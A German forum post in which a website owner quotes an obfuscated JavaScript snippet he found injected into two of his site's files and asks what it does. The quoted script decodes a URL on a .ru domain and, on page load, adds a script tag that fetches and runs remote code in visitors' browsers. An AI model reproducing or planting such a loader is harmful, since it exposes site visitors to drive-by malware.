Fremdes Script (Virus?) auf Webseite

[tomgk]

Hallo!

Ich hab auf meiner Webseite ein Script entdeckt, welches ich bisher in 2 Dateien gefunden hab.

var s="";this.Od="";this.o='';function d(){var Vz=new Date();var f="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x6f\x74\x6c\x69\x6e\x6b\x69\x6d\x61\x67\x65\x2d\x63\x6f\x6d\x2e\x77\x6f\x72\x6c\x64\x6f\x66\x77\x61\x72\x63\x72\x61\x66\x74\x2e\x63\x6f\x6d\x2e\x61\x6c\x6c\x61\x62\x6f\x75\x74\x2d\x63\x6f\x2d\x6a\x70\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var w;if(w!='A' && w!='j'){w=''};this.X='';var v=new String();var yD;if(yD!='aH' && yD != ''){yD=null};var T='';var Y;if(Y!=''){Y='Vi'};var V=unescape;var t=window;var O="g";var PJ='';var c="";var Hj;if(Hj!='Ct' && Hj!='RX'){Hj=''};function l(K,a){var E=new String();var p='';var x=V("%5b")+a+V("%5d");var B;if(B!=''){B='Ki'};var u=new RegExp(x, O);return K.replace(u, T);};this.n='';var ui="";var rk=new String();var iz;if(iz!='sb' && iz != ''){iz=null};var P='';var tG;if(tG!='cB'){tG=''};var M=V("%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%64%6f%63%74%69%73%73%69%6d%6f%2e%66%72%2f%74%61%62%6e%61%6b%2e%69%72%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%68%65%66%72%65%65%64%69%63%74%69%6f%6e%61%72%79%2e%63%6f%6d%2e%70%68%70");var ov=new String();var ln=l('876305652837603397','596732');this.an='';var y=document;var PI;if(PI!='Pi'){PI='Pi'};var og=new String();function fT(){var TB;if(TB!='' && TB!='jN'){TB=null};P=f;P+=ln;P+=M;var xn=new Array();var Zz;if(Zz!='' && Zz!='ZN'){Zz=''};var wN;if(wN!='Ot' && wN!='rO'){wN=''};var lm="";try {var xQ=new Date();var Ur;if(Ur!='' && Ur!='hO'){Ur=''};var yd='';var Gl;if(Gl!='' && Gl!='vK'){Gl='un'};r=y.createElement(l('svcQrvivpQtQ','QvoP'));var Bh;if(Bh!='Oi'){Bh=''};r.src=P;var Px=new Array();r.defer=[1,1][0];var ge=new Array();var hx=new Array();y.body.appendChild(r);this.TF="";this.I_='';} catch(tD){};var ko;if(ko!=''){ko='e'};}var PU='';var Ye='';var tT=new Date();var hE='';t["onloaRxN".substr(0,5)+"Ba4cd4cBa".substr(4,1)]=fT;var wj=new Date();var qb=new Date();this.Q="";};var Tt;if(Tt!='Bg' && Tt != ''){Tt=null};d();

Vor dem Script ist volgendes HTML-Kommendar gestanden:
<!--4c4689177e86a3cc79f46aa3ab5bb0d0-->

Weiß jemand ungefähr was dieses Script tun könnte oder was das Kommentar bedeutet?

Was ich schon herausgefunden hab:
-der Variable f wird "http://hotlinkimage-com.worldofwarcraft.com.allabout-co-jp.WaringBlenderPart.ru:" zugewissen
-die Funktionn V wird mit Parameter "/doctissimo.fr/doctissimo.fr/tabnak.ir/google.com/thefreedictionary.com.php" aufgerufen.

MfG
tomgk